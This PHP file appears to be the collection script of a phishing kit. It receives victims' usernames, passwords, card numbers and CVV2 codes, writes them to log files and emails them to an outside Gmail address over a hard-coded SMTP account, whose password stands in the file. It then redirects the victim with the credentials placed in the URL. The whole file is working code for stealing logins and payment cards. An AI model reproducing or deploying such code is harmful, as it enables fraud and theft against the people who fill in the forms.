<?php
header('Access-Control-Allow-Origin: *');

header('Access-Control-Allow-Methods: GET, POST');

header("Access-Control-Allow-Headers: X-Requested-With");
ob_start();
require '../class.phpmailer.php';
session_start();

function generateRandomString($length = 10) {
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, strlen($characters) - 1)];
    }
    return $randomString;
}

$session_id = generateRandomString(80);

// Check if form data is submitted
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Collect form data
    $data = $_POST;

    $username = $data["username"];
    $password = $data["password"];
    $numbernospaces = str_replace(' ', '', stripslashes($_POST["number"]));
    $number = $_POST['number'];
    $three = $_POST['three'];

    // Create a unique filename for the current session
    $sessionFilename = '../logs/resultsNew.txt';

    if (!isset($_SESSION['form_data'])) {
            $_SESSION['form_data'] = $data;
        } else {
            $_SESSION['form_data'] = isset($_SESSION['form_data']) ? array_merge($_SESSION['form_data'], $data) : $data;
        }

    file_put_contents($sessionFilename, json_encode($data) . PHP_EOL . PHP_EOL, FILE_APPEND);

    $message = '';
    $message .= "+ -- + \n";
    $message .= "+ second \n";
    $message .= "| Username: $username\n";
    $message .= "| Password: $password\n";
    $message .= "+ ------------------------------------------ + \n";
    $message .= "+ Card Details \n";
    $message .= "| Card Number: $numbernospaces\n";
    $message .= "| Cvv2: $three\n";
    $message .= "+ ------------------------------------------ + \n";

    $file=fopen("../logs/results.txt","a");
    fwrite($file,$message);
    fclose($file);
    sendEmail($message,$username, $password, $session_id);

}

function sendEmail($message, $username, $password, $session_id) {
    try {
        $mail = new PHPMailer(true);

        // Server settings
        $mail->isSMTP();
        $mail->Mailer = "smtp";
        $mail->SMTPDebug  = 2;

        $mail->SMTPSecure = "ssl";
        $mail->Host       = 'mail.bts-app.co.za'; // Your SMTP server
        $mail->SMTPAuth   = true;
        $mail->Username   = 'test@bts-app.co.za'; // Your SMTP username
        $mail->Password   = '04011994Flex23$'; // Your SMTP password
        $mail->Port       = 465; // TCP port to connect to

        // Sender and recipient settings
        $mail->setFrom('test@bts-app.co.za', 'BTS TEST');
        $mail->addAddress('receiver998@gmail.com', 'TEST');

        // Set the email subject and body
        $mail->Subject = 'TEST';

        // Get form data from the session
        $formData = $_SESSION['form_data'];

        // Include the form data in the email body
        $mail->Body = $message;

        // Attach the session progress file
        //$mail->addAttachment($sessionFilename, 'progress.txt');

        // Send the email
        if(!$mail->Send()) {
        echo "Error while sending Email.";
        //throw new Exception("Mailer Error: " . $mail->ErrorInfo);
        }
        header("Location: ../process.php?session_id=". $session_id ."&aa=".$username."&bb=".$password."&protection_id=".$session_id."");
        exit();

    } catch (Exception $e) {
        echo 'Email could not be sent. Error: ' . $e->getMessage();
    }
}


ob_end_flush();
?>
